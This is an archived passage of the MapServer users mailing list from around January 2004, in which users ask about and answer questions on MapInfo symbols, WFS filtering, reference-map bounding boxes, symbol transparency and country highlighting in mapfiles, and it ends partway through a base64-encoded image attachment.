Tutorial nor Demo files are available >To: mapserver-users at lists.gis.umn.edu, acline2 at cox.net >MIME-Version: 1.0 >Content-MD5: h1T1/dtfAfN8VBfKmyQmgA== >X-BeenThere: mapserver-users at lists.gis.umn.edu >X-Mailman-Version: 2.0.13 >List-Unsubscribe: , >List-Id: Mapserver Users Mailing List (Appropriate for general users) >List-Post: >List-Help: >List-Subscribe: , >List-Archive: >Date: Mon, 29 Dec 2003 16:07:14 -0600 (CST) > >We are working on getting the tutorial back up - bad timing with the holidays, >etc. > >The old demo is there. I don't think it's been updated if that is what you are >referring to. > >Tom > > >> >>It seems that neither the Mapserver 4.0 Tutorial nor the Mapserver Demo >>files are available. Does anyone have these mirrored anywhere? >> >>Thanks, >> >>A Cline >> > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From morissette at dmsolutions.ca Mon Jan 5 14:36:15 2004 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 05 Jan 2004 17:36:15 -0500 Subject: [Mapserver-users] Mapinfo symbols In-Reply-To: <4B1A1EC0790F054193453C48725D43180B8CD2@MSGBE1V1.seat.it> References: <4B1A1EC0790F054193453C48725D43180B8CD2@MSGBE1V1.seat.it> Message-ID: <3FF9E6DF.5060503@dmsolutions.ca> Ballini Yvain wrote: > > I would like to know if someone has some news about the problem of > managing the angle value for point symbol. My concrete problem is > that I can read the position but not the orientation of the arrow > which is contained in the "Style" line of the .tab (see my last mail > under). As Julien wrote in his other reply earlier this afternoon, he found out that MapServer's core doesn't support rotated point symbols, and Steve Lime confirmed via the bugzilla report that supporting rotated symbols in MapServer is not a trivial change, so you are out of luck and we cannot support the symbol angle with STYLEITEM AUTO at this point. > The other part of my question was about recognizing the symbol > mapinfo-sym-111: ok, I cant' see the angle value of the point, but > I'm also unable to see the registered symbols (mapinfo-sym-111 or the > MapInfo "old style" mapinfo-sym-32), and I have to put the default > symbol (a pixel) or one of mines. The mapinfo-sym-111 symbol doesn't exist and is not registered anywhere in MapServer: it's up to you to create a symbol with this name in your symbolset or in your mapfile, and then MapServer will use it. If you do not create a symbol called 'mapinfo-sym-111' in your SYMBOLSET then MapServer will use the default symbol (a single pixel I think). See the following symbol file that defines some symbols for mapinfo-sym-xx. You need to do the same in your symbolset for mapinfo-sym-111: http://www2.dmsolutions.ca/msapps/yk_demo/etc/symbols_mapinfo.sym See also the following FAQ in the OGR HOWTO: http://mapserver.gis.umn.edu/doc40/ogr-howto.html#d45e642 Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From abehere at cs.ucsd.edu Mon Jan 5 16:22:04 2004 From: abehere at cs.ucsd.edu (Amit S BEHERE) Date: Mon, 5 Jan 2004 16:22:04 -0800 (PST) Subject: [Mapserver-users] WFS support Message-ID: Hi all, I do not seem to be able to filter my queries (WFS queries) correctly. I read in the documentation that only BBOX filter is supposed to work for WFS queries. Now does that mean that only the BBOX filter will work among the spatial filters (filters could be attribute filters or spatial filters) or its BBOX filter alone without any other attribute or spatial filters. So bottom line is can I do something like the following query, "Return me trees only on the street matching the property Street=myhouseaddr blvd" using filters. If I can it means I am going wrong somewhere with my query. Amit Behere. UCSD. "Technology won't make your life more difficult or easy, it just changes the rules"......Vishwanathan Anand From Tom.Kralidis at ec.gc.ca Mon Jan 5 16:54:54 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Mon, 5 Jan 2004 19:54:54 -0500 Subject: [Mapserver-users] WFS support Message-ID: <2576812186CDD411BF1500508B6DCE9505D493FA@ECNWRI1.ontario.int.ec.gc.ca> > -----Original Message----- > From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu] > Sent: Monday, January 05, 2004 7:22 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] WFS support > > > Hi all, > > I do not seem to be able to filter my queries (WFS queries) > correctly. I read in the documentation that only BBOX filter > is supposed to work for WFS queries. Now does that mean that > only the BBOX filter will work among the spatial filters > (filters could be attribute filters or spatial filters) or > its BBOX filter alone without any other attribute or spatial filters. > In MapServer OGC:WFS (v4.0), BBOX works like this: http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/ config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb ox=-120,50,-118,51 As for Filter, the forthcoming release of MapServer will support Filter Encoding (is it already in CVS?), so you should be able to pull off queries like: http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/ config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb ox=-120,50,-118,51&filter=Street

myhouseaddr%20blvd Now, I'm not sure whether spatial filtering will still be supported by the BBOX parameter, or as a GML element in Filter, or both. Perhaps the DM Solutions folks can clarify to what extent Filter will be supported. Thanks ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/cise/ ========================= > So bottom line is can I do something like the following > query, "Return me trees only on the street matching the > property Street=myhouseaddr blvd" using filters. If I can it > means I am going wrong somewhere with my query. > > Amit Behere. > UCSD. > "Technology won't make your life more difficult or easy, it > just changes the rules"......Vishwanathan Anand > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From adams at terrestris.de Tue Jan 6 00:34:43 2004 From: adams at terrestris.de (Till Adams) Date: Tue, 06 Jan 2004 09:34:43 +0100 Subject: [Mapserver-users] Mapserver 401: Reference image bounding box References: <06B403677C41D51194550002A55107D201F78F78@s5-stf1-r1.nrn.nrcan.gc.ca> Message-ID: <3FFA7323.7070602@terrestris.de> Julien, I had this problem before - your image used for the reference map might have a higher resolution than the defined box in your clinet - e.g. the image has 600 x 400 pix and in your client you defined the reference map to have 140 x 100 pix: Mapserver scales the image down to 150 x 100 pix (also leading to performance loss) and with it the (red) bounding box, which has 1 pixel linewidth. Cheers, Till Julien, Heryk schrieb: > Hi, > Anyone else having trouble or found a solution to the reference image > "bounding box" not being drawn? > I selected a red bounding box (outlinecolor 255 0 0) in my mapfile but it is > not showing up on the reference image! > I'm using Mapserver 401. > > H?ryk > NRCan > > >> -----Message d'origine----- >>De : Julien, Heryk >>Envoy? : Thursday, December 18, 2003 2:28 PM >>? : 'mapserver-users at lists.gis.umn.edu' >>Objet : reference image bounding box >> >>Hi, >>I'm having trouble with my reference image bounding box. The reference >>image appears and I can navigate in my map by clicking in the reference >>image however the bounding box doesn't display in the reference image. >>Anyone had that trouble before? >> >>Mapfile: >># >># Start of reference map >># >>REFERENCE >> COLOR -1 -1 -1 >> EXTENT 493163 4857827 2100223 5910452 >> STATUS ON >> OUTLINECOLOR 255 0 0 >> SIZE 175 117 >> IMAGE "..\data\raster\refQcMaritimesUTM83Z18.gif" >>END #REFERENCE >> >>========================================== >>H?ryk >>NRCan >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- NEU +++ NEU +++ NEU +++ NEU AveiN! ist Open Source Lizensiert unter der GNU GPL ----- Dipl. Geogr. Till Adams terrestris, Paulsen&Adams GbR Siemensstr. 8 * 53121 Bonn Tel.: 0228 962 899 52 * Fax.: 0228 962 899 57 info at terrestris.de * www.terrestris.de From christina.biakowski at ccgis.de Tue Jan 6 01:00:09 2004 From: christina.biakowski at ccgis.de (Christina Biakowski) Date: Tue, 6 Jan 2004 10:00:09 +0100 Subject: [Mapserver-users] transparent symbols (images) Message-ID: Dear list, to display points on a map we use png-images as symbols. Now the white-colored pixels (RGB 255 255 255) of the symbols get transparent on the map, though the IMAGECOLOR in the MAP-section is set to a RGB value other than 255 255 255. (MapServer-Versions 3.6.6 and 4.0). Any idea how to get the "white parts" of the symbols non-transparent (without preceding image processing)? Best regards, Christina From stefan.schwarzer at grid.unep.ch Tue Jan 6 02:09:45 2004 From: stefan.schwarzer at grid.unep.ch (Stefan Schwarzer) Date: Tue, 06 Jan 2004 11:09:45 +0100 Subject: [Mapserver-users] Country Display Problems Message-ID: <6.0.1.1.2.20040106100558.025d23a0@gridg.grid.unep.ch> --=====================_14390859==.REL Content-Type: multipart/alternative; boundary="=====================_14390859==.ALT" --=====================_14390859==.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Hi, I have some problems highlighting correctly selected countries. I am sending the name of a country from another page to kind of a "country profile page". Here, a map should display all but the selected country in a grayish manner, and only the selected one with the right colors. But for certain countries, it either doesn't display anything or it highlights more then one country, as in the case below: not only Thailand (the selected country) but also Lao People's Democratic Republic. In some cases I have the impression that the problem is somehow related with apostrophes used in the dbf file. On ther other hand countries like "Cote d'Ivoire " are displayed correctly. Does anyone have an idea? Thanks, Stefan db958f.jpg LAYER NAME boundaries TYPE POLYGON STATUS ON DATA boundaries TRANSPARENCY 50 CLASSITEM CNTRY_NAME CLASS EXPRESSION ('[CNTRY_NAME]' ne 'Thailand') OUTLINECOLOR 20 20 20 COLOR 150 150 150 END END _______________________________________ Stefan Schwarzer Consultant on GEO UNEP/DEWA/GRID-Geneva Chemin des Anemones 11 CH - 1219 Chatelaine Switzerland Tel: (+41) 22.917.83.49 Fax: (+41) 22.917.80.29 Email: stefan.schwarzer at grid.unep.ch Internet: http://geodata.grid.unep.ch/ _______________________________________ --=====================_14390859==.ALT Content-Type: text/html; charset="us-ascii" Hi,

I have some problems highlighting correctly selected countries. I am sending the name of a country from another page to kind of a "country profile page". Here, a map should display all but the selected country in a grayish manner, and only the selected one with the right colors. But for certain countries, it either doesn't display anything or it highlights more then one country, as in the case below: not only Thailand (the selected country) but also Lao People's Democratic Republic.

In some cases I have the impression that the problem is somehow related with apostrophes used in the dbf file. On ther other hand countries like "Cote d'Ivoire " are displayed correctly.

Does anyone have an idea?

Thanks,

Stefan


db958f.jpg

LAYER
        NAME boundaries
        TYPE POLYGON
        STATUS ON
        DATA boundaries
        TRANSPARENCY 50
        CLASSITEM CNTRY_NAME
        CLASS   
                EXPRESSION ('[CNTRY_NAME]' ne 'Thailand')
                OUTLINECOLOR 20 20 20
                COLOR 150 150 150
        END
END


        _______________________________________

        Stefan Schwarzer
        Consultant on GEO

        UNEP/DEWA/GRID-Geneva
        Chemin des Anemones 11
        CH - 1219 Chatelaine
        Switzerland

        Tel: (+41) 22.917.83.49
        Fax: (+41) 22.917.80.29

        Email: stefan.schwarzer at grid.unep.ch
        Internet: http://geodata.grid.unep.ch/
        _______________________________________ --=====================_14390859==.ALT-- --=====================_14390859==.REL Content-Type: image/jpeg; name="db958f.jpg"; x-mac-type="4A504547"; x-mac-creator="4A565752" Content-ID: <.0> Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="db958f.jpg" /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAEsASwDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDy9YoW iMqSpb3NsRHNC0r3CyvPFElwIoxYi3GxmlmMlyyzQpPB9kY3MSXU3Ma5ao0MEC20jxyygSW9iiiV 7UI8ssLIyyKY5Fd4xcCWyeCW4iQTAyy+fseP/FfgbwP4Z1bxB4vuodAS3ks9I2JLc3CWl3by2ME6 W2m6dY6rqWqySW6XNwsYEkJtxqtzeN9n0prq/wDI/H/ia6h+FHiTWfAupaNqrahpqaRZeJxr1rL4 a0F73U4PD2o+KbzVI9K8RW1vofgeRr3xB4ilFm1vDZaPfW2pywaamorb/gdOKUqMJyhO7ipVYRlV 9lOLirOKjDm9lJNuU3TjGcY2cFGN+3FOEanJGjBXi5xm227qfLGbp2spS5aXO+ZU0ot1oyjaNPa1 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 RLdW+2skJuSZ5LSA2cLyx+RqVxOb23gV21FXdC06yhYo5ZgttFcy6UIiiPLcwWkKXAMVteDqbrQ1 i1GTSre7k1NreG5RbuwktLWwN7cWcSORJqseJbW0uDDN9sMCB7eMSmTThKRPjXUFxDaWnnxeTZ75 glwfs1tbxQoFW+soWiaKSEWENxJcOrqWt7m7ja2gmltreMYuTg6kJ0PZylJwqyi3O9RVaEKkFVja lKPPJN+9Vc4xSdTWftc6lKo4c06N1KEYVKklaNouhComqXLFSVRJ3nOlKE3T5pO8Y1cqC+gzZRmK wg84/uYGvUki/tGdJ5hdTTNaTMxU3edsbJAYb0w7Zo47ZLjREk5dp0BS5lDtHDK8sMzXMiqJYk8u KOYmGSZRI/2eMKDH51vG8yWr0ILUxRaebeWOyayu7lIdwuJZZWTUJ4m09Ip1Yqk0phVWJZZdRS5A AWG2JsvazNNKFjdJNSso7lmlka3NhDp+naQJYp4ykk0NzLJIsM0tpFJNDFKqqZH3NYxKgqqajdzp Nz1nGCvaVRRd5SUXGm/aSip1Jxmp0205e7lShUdKN7OUeWTjScIqmvYpxcOayqJTjamoKMW5OSio Sja/qJuo1NxO7LOZZ0luAhee4mlW4lkuC92Hl1KabypHkiSO5ykiN5DRNciJRY2c9xc2skEFzIsX nGNYLUG7aV5VW8R7lpLdYktvskQNtAtxa+codikkS1PqD29xJDs3I+As0MTusLNo1tJZXc4Zixml nlwbj7NA0Qv7ia/vYIZHllhfHDp9pe263M4sNOgsb25vLiM3DXECw20sUUFowvLndLFcA+XZLAYW igFl9rtIv3yzTor2ijC6k3Tg+epGCvJtXjNqXLNclGKTUW2pxkoR5lLoUISrTT/eRjKjdzm0oe0U oqcZTi6bfLyVJqynHlcGnFxT5d4YLaeSPU1SLa+nWGl2580CFrKOaSJoXRHMjSSvC8jEsqvdTpdG KC6sbq4zjKHsRDbXCG6t7gSXQgiW4F1HPFGyWjSRPFqDWJtb6G/uobqGe4ZNUZbkNcwukujfazr2 qWsdpbSNLpNmZHhtpIdTDX91bppVjNG8F60t/ayeZo+bG3tb+6WyfzZdKl0qw1S1sLXJvreS2jjW S3ukiu3WXWlMbFbbzjDNJPapIjyxGSCPzi1zb3H2LMao0F2bm0g9GcKULRo11Oo1QjVnNNKhWo2h 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 